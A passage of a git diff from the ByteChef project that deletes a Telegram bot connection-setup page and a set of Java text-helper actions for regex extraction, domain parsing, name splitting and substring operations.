-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/0d42d307-936b-4df5-82ee-d5271d666055?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/telegram/src/main/resources/connection.mdx b/server/libs/modules/components/telegram/src/main/resources/connection.mdx
deleted file mode 100644
index 22239ac22c1..00000000000
--- a/server/libs/modules/components/telegram/src/main/resources/connection.mdx
+++ /dev/null
@@ -1,16 +0,0 @@
-## Connection Setup
-
-### Create a Telegram Bot and get the Bot Token
-
-1. In Telegram, start a chat with [`BotFather`](https://telegram.me/BotFather).
-2. Send the `/newbot` command and follow the prompts:
-   - Choose a display name (can be changed later).
-   - Choose a unique username that ends with `bot` (e.g., `my_bytechef_bot`).
-3. Copy the Bot Token provided by BotFather (format: `1234567890:AA...`). Keep it secret.
-
-Helpful links:
-- Telegram Bot API: https://core.telegram.org/bots/api
-
-<div style={{ position: 'relative', height:0, width: '100%', overflow: 'hidden', zIndex: 49, boxSizing: 'border-box', paddingBottom: 'calc(50.05219207% + 32px)'}}>
-    <iframe src="https://www.guidejar.com/embed/Xj4qVoAGKo5eL8kED2gw?type=1&controls=on" width="100%" height="100%" style={{height:'100%', position:'absolute', inset:0, border: 'none'}} allowFullScreen></iframe>
-</div>
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperChangeTypeAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperChangeTypeAction.java
deleted file mode 100644
index 444e364df20..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperChangeTypeAction.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.number;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import com.bytechef.component.exception.ProviderException;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperChangeTypeAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("changeType")
-        .title("Change Type")
-        .description("Change the type of the input text to number.")
-        .properties(
-            string(TEXT)
-                .description("The input text to be changed to a number.")
-                .label("Text")
-                .required(true))
-        .output(outputSchema(number().description("Number input text")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#change-type")
-        .perform(TextHelperChangeTypeAction::perform);
-
-    private TextHelperChangeTypeAction() {
-    }
-
-    public static double perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-
-        try {
-            return Double.parseDouble(text);
-        } catch (NumberFormatException numberFormatException) {
-            throw new ProviderException(text + " can not be converted to number.");
-        }
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperEscapeCharactersAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperEscapeCharactersAction.java
deleted file mode 100644
index 5d92102e09e..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperEscapeCharactersAction.java
+++ /dev/null
@@ -1,73 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.ESCAPE_CHARACTER;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.ESCAPE_CHARACTERS;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import java.util.List;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperEscapeCharactersAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("escapeCharacters")
-        .title("Escape Characters")
-        .description("Escape characters in a string, specified in the input.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text in which you want to escape characters.")
-                .required(true),
-            array(ESCAPE_CHARACTERS)
-                .label("Escape Characters")
-                .description("Characters you want to escape.")
-                .required(true)
-                .items(
-                    string(ESCAPE_CHARACTER)
-                        .label("Escape Character")
-                        .description("Character you want to escape.")
-                        .maxLength(2)
-                        .required(true)))
-        .output(outputSchema(string().description("Text without escaped character.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#escape-characters")
-        .perform(TextHelperEscapeCharactersAction::perform);
-
-    private TextHelperEscapeCharactersAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-
-        List<String> escapeCharacters = inputParameters.getRequiredList(ESCAPE_CHARACTERS, String.class);
-
-        for (String escapeChar : escapeCharacters) {
-            text = text.replace(escapeChar, "\\" + escapeChar);
-        }
-
-        return text;
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperExtractAllRegExAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperExtractAllRegExAction.java
deleted file mode 100644
index b18e0550a37..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperExtractAllRegExAction.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.REGULAR_EXPRESSION;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static com.bytechef.component.text.helper.util.TextHelperUtils.extractByRegEx;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import java.util.List;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperExtractAllRegExAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("extractAllRegEx")
-        .title("Extract All by Regular Expression")
-        .description("Extract all strings that match a given pattern.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text on which regular expression will be used on.")
-                .required(true),
-            string(REGULAR_EXPRESSION)
-                .label("Regular Expression")
-                .description("Regular expression that will be used for extracting strings.")
-                .required(true))
-        .output(
-            outputSchema(
-                array()
-                    .description("Array of strings that were extracted")
-                    .items(
-                        string()
-                            .description("String that matches the regular expression."))))
-        .help(
-            "",
-            "https://docs.bytechef.io/reference/components/text-helper_v1#extract-all-by-regular-expression")
-
-        .perform(TextHelperExtractAllRegExAction::perform);
-
-    private TextHelperExtractAllRegExAction() {
-    }
-
-    public static List<String> perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        return extractByRegEx(
-            inputParameters.getRequiredString(TEXT), inputParameters.getRequiredString(REGULAR_EXPRESSION));
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperExtractKeyRegExAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperExtractKeyRegExAction.java
deleted file mode 100644
index ebd7c03da82..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperExtractKeyRegExAction.java
+++ /dev/null
@@ -1,83 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.array;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.KEY_VALUE_OBJECT;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.REGULAR_EXPRESSION;
-import static com.bytechef.component.text.helper.util.TextHelperUtils.extractByRegEx;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Map;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperExtractKeyRegExAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("extractKeyRegEx")
-        .title("Extract Key by Regular Expression")
-        .description("Extract first string that match a given pattern.")
-        .properties(
-            object(KEY_VALUE_OBJECT)
-                .label("Key-Value Object")
-                .description("The object on which regular expression will be used on.")
-                .required(true),
-            string(REGULAR_EXPRESSION)
-                .label("Regular Expression")
-                .description("Extract key by regex match.")
-                .required(true))
-        .output(
-            outputSchema(
-                array()
-                    .description("Keys that match the regular expression.")
-                    .items(
-                        string()
-                            .description("Key that matches the regular expression."))))
-        .help(
-            "",
-            "https://docs.bytechef.io/reference/components/text-helper_v1#extract-key-by-regular-expression")
-        .perform(TextHelperExtractKeyRegExAction::perform);
-
-    private TextHelperExtractKeyRegExAction() {
-    }
-
-    public static List<String> perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        Map<String, Object> keyValueMap = inputParameters.getRequiredMap(KEY_VALUE_OBJECT, Object.class);
-        String regex = inputParameters.getRequiredString(REGULAR_EXPRESSION);
-
-        List<String> extractedKeys = new ArrayList<>();
-
-        for (String key : keyValueMap.keySet()) {
-            List<String> matches = extractByRegEx(key, regex);
-
-            if (!matches.isEmpty()) {
-                extractedKeys.add(key);
-            }
-        }
-
-        return extractedKeys;
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperExtractRegExAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperExtractRegExAction.java
deleted file mode 100644
index 85a65d986b0..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperExtractRegExAction.java
+++ /dev/null
@@ -1,61 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.REGULAR_EXPRESSION;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static com.bytechef.component.text.helper.util.TextHelperUtils.extractByRegEx;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperExtractRegExAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("extractRegEx")
-        .title("Extract by Regular Expression")
-        .description("Extract first string that match a given pattern.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text on which regular expression will be used on.")
-                .required(true),
-            string(REGULAR_EXPRESSION)
-                .label("Regular Expression")
-                .description("Regular expression that will be used for extracting strings.")
-                .required(true))
-        .output(outputSchema(string().description("String that matches the regular expression.")))
-        .help(
-            "",
-            "https://docs.bytechef.io/reference/components/text-helper_v1#extract-by-regular-expression")
-        .perform(TextHelperExtractRegExAction::perform);
-
-    private TextHelperExtractRegExAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        return extractByRegEx(
-            inputParameters.getRequiredString(TEXT), inputParameters.getRequiredString(REGULAR_EXPRESSION))
-                .getFirst();
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetDomainFromEmailAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetDomainFromEmailAction.java
deleted file mode 100644
index c47b1f970a7..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetDomainFromEmailAction.java
+++ /dev/null
@@ -1,55 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static com.bytechef.component.text.helper.util.TextHelperUtils.extractByRegEx;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperGetDomainFromEmailAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getDomainFromEmail")
-        .title("Get Domain From Email Address")
-        .description("Extracts domain from the given email address.")
-        .properties(
-            string(TEXT)
-                .description("The email you want to extract domain from.")
-                .label("Email")
-                .required(true))
-        .output(outputSchema(string().description("Extracted domain")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#get-domain-from-email")
-        .perform(TextHelperGetDomainFromEmailAction::perform);
-
-    private TextHelperGetDomainFromEmailAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String regexStr = "([A-Za-z0-9.-]+\\.[A-Za-z]{2,})";
-        String emailAddress = inputParameters.getRequiredString(TEXT);
-
-        return extractByRegEx(emailAddress, regexStr).getFirst();
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetDomainFromUrlAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetDomainFromUrlAction.java
deleted file mode 100644
index 89c6e60d8e6..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetDomainFromUrlAction.java
+++ /dev/null
@@ -1,65 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import java.net.MalformedURLException;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperGetDomainFromUrlAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getDomainFromUrl")
-        .title("Get Domain From URL")
-        .description("Extracts domain from the given URL.")
-        .properties(
-            string(TEXT)
-                .description("The URL you want to extract domain from.")
-                .label("URL")
-                .required(true))
-        .output(outputSchema(string().description("Extracted domain")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#get-domain-from-url")
-        .perform(TextHelperGetDomainFromUrlAction::perform);
-
-    private TextHelperGetDomainFromUrlAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context)
-        throws MalformedURLException {
-
-        Pattern pattern = Pattern.compile("^(?:https?://)?(?:www\\.)?([^:/\\n?]+)");
-        Matcher matcher = pattern.matcher(inputParameters.getRequiredString(TEXT));
-
-        String domain = "";
-
-        if (matcher.find()) {
-            domain = matcher.group(1);
-        }
-
-        return domain;
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetFirstMiddleLastNameAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetFirstMiddleLastNameAction.java
deleted file mode 100644
index 6a964c481ab..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetFirstMiddleLastNameAction.java
+++ /dev/null
@@ -1,98 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.bool;
-import static com.bytechef.component.definition.ComponentDsl.object;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.FIRST_NAME;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.FULL_NAME;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.IS_FIRST_NAME_FIRST;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.LAST_NAME;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.MIDDLE_NAME;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-import java.util.Map;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperGetFirstMiddleLastNameAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getFirstMiddleLastName")
-        .title("Get First Middle and Last Name")
-        .description("From full name extract first, middle and last name.")
-        .properties(
-            string(FULL_NAME)
-                .label("Full Name")
-                .description("The full name.")
-                .required(true),
-            bool(IS_FIRST_NAME_FIRST)
-                .label("Is First Name First?")
-                .description("Is the first name listed first in the full name?")
-                .required(true))
-        .output(
-            outputSchema(
-                object()
-                    .properties(
-                        string(FIRST_NAME)
-                            .description("First name."),
-                        string(MIDDLE_NAME)
-                            .description("Middle name"),
-                        string(LAST_NAME)
-                            .description("Last name"))))
-        .help(
-            "",
-            "https://docs.bytechef.io/reference/components/text-helper_v1#get-first-middle-and-last-name")
-        .perform(TextHelperGetFirstMiddleLastNameAction::perform);
-
-    private TextHelperGetFirstMiddleLastNameAction() {
-    }
-
-    public static Map<String, String> perform(
-        Parameters inputParameters, Parameters connectionParameters, Context context) {
-
-        String fullName = inputParameters.getRequiredString(FULL_NAME);
-        String[] fullNameSplit = fullName.split(" ");
-
-        boolean isFirstNameFirst = inputParameters.getRequiredBoolean(IS_FIRST_NAME_FIRST);
-
-        if (fullNameSplit.length == 2) {
-            return handleTwoPartName(fullNameSplit, isFirstNameFirst);
-        } else {
-            return handleThreePartName(fullNameSplit, isFirstNameFirst);
-        }
-    }
-
-    private static Map<String, String> handleTwoPartName(String[] fullName, boolean isFirstNameFirst) {
-        return Map.of(
-            FIRST_NAME, isFirstNameFirst ? fullName[0] : fullName[1],
-            MIDDLE_NAME, "",
-            LAST_NAME, isFirstNameFirst ? fullName[1] : fullName[0]);
-    }
-
-    private static Map<String, String> handleThreePartName(String[] fullName, boolean isFirstNameFirst) {
-        return Map.of(
-            FIRST_NAME, isFirstNameFirst ? fullName[0] : fullName[2],
-            MIDDLE_NAME, fullName[1],
-            LAST_NAME, isFirstNameFirst ? fullName[2] : fullName[0]);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetTextAfterAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetTextAfterAction.java
deleted file mode 100644
index 1b077dcd7f8..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetTextAfterAction.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.MATCH_NUMBER;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.PATTERN;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static com.bytechef.component.text.helper.util.TextHelperUtils.getPatternEndIndex;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperGetTextAfterAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getTextAfter")
-        .title("Get Text After")
-        .description(
-            "Given a string and a pattern, this operation will return the substring between where the pattern was " +
-                "found depending on the match number and ending of the string.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text that will be searched for the pattern.")
-                .required(true),
-            string(PATTERN)
-                .label("Pattern")
-                .description("Pattern after which substring will be extracted.")
-                .required(true),
-            integer(MATCH_NUMBER)
-                .label("Match Number")
-                .description("Specifies which match to use for extracting the substring when multiple matches exist.")
-                .required(true))
-        .output(outputSchema(string().description("Extracted substring.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#get-text-after")
-        .perform(TextHelperGetTextAfterAction::perform);
-
-    private TextHelperGetTextAfterAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-        String pattern = inputParameters.getRequiredString(PATTERN);
-        int matchNumber = inputParameters.getRequiredInteger(MATCH_NUMBER);
-
-        int patternIndex = getPatternEndIndex(pattern, text, matchNumber);
-
-        return text.substring(patternIndex);
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetTextBeforeAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetTextBeforeAction.java
deleted file mode 100644
index 5482a752bab..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetTextBeforeAction.java
+++ /dev/null
@@ -1,71 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.bytechef.component.text.helper.action;
-
-import static com.bytechef.component.definition.ComponentDsl.action;
-import static com.bytechef.component.definition.ComponentDsl.integer;
-import static com.bytechef.component.definition.ComponentDsl.outputSchema;
-import static com.bytechef.component.definition.ComponentDsl.string;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.MATCH_NUMBER;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.PATTERN;
-import static com.bytechef.component.text.helper.constant.TextHelperConstants.TEXT;
-import static com.bytechef.component.text.helper.util.TextHelperUtils.getPatternEndIndex;
-
-import com.bytechef.component.definition.ComponentDsl.ModifiableActionDefinition;
-import com.bytechef.component.definition.Context;
-import com.bytechef.component.definition.Parameters;
-
-/**
- * @author Nikolina Špehar
- */
-public class TextHelperGetTextBeforeAction {
-
-    public static final ModifiableActionDefinition ACTION_DEFINITION = action("getTextBefore")
-        .title("Get Text Before")
-        .description(
-            "Given a string and a pattern, this operation will return the substring between where the pattern was " +
-                "found depending on the match number and beginning of the string.")
-        .properties(
-            string(TEXT)
-                .label("Text")
-                .description("The text that will be searched for the pattern.")
-                .required(true),
-            string(PATTERN)
-                .label("Pattern")
-                .description("Pattern after which substring will be extracted.")
-                .required(true),
-            integer(MATCH_NUMBER)
-                .label("Match Number")
-                .description("Specifies which match to use for extracting the substring when multiple matches exist.")
-                .required(true))
-        .output(outputSchema(string().description("Extracted substring.")))
-        .help("", "https://docs.bytechef.io/reference/components/text-helper_v1#get-text-before")
-        .perform(TextHelperGetTextBeforeAction::perform);
-
-    private TextHelperGetTextBeforeAction() {
-    }
-
-    public static String perform(Parameters inputParameters, Parameters connectionParameters, Context context) {
-        String text = inputParameters.getRequiredString(TEXT);
-        String pattern = inputParameters.getRequiredString(PATTERN);
-        int matchNumber = inputParameters.getRequiredInteger(MATCH_NUMBER);
-
-        int patternIndex = getPatternEndIndex(pattern, text, matchNumber);
-
-        return text.substring(0, patternIndex - pattern.length());
-    }
-}
diff --git a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetTextBetweenAction.java b/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetTextBetweenAction.java
deleted file mode 100644
index d57a4b6ae48..00000000000
--- a/server/libs/modules/components/text-helper/src/main/java/com/bytechef/component/text/helper/action/TextHelperGetTextBetweenAction.java
+++ /dev/null
@@ -1,69 +0,0 @@
-/*
- * Copyright 2025 ByteChef
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      https://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
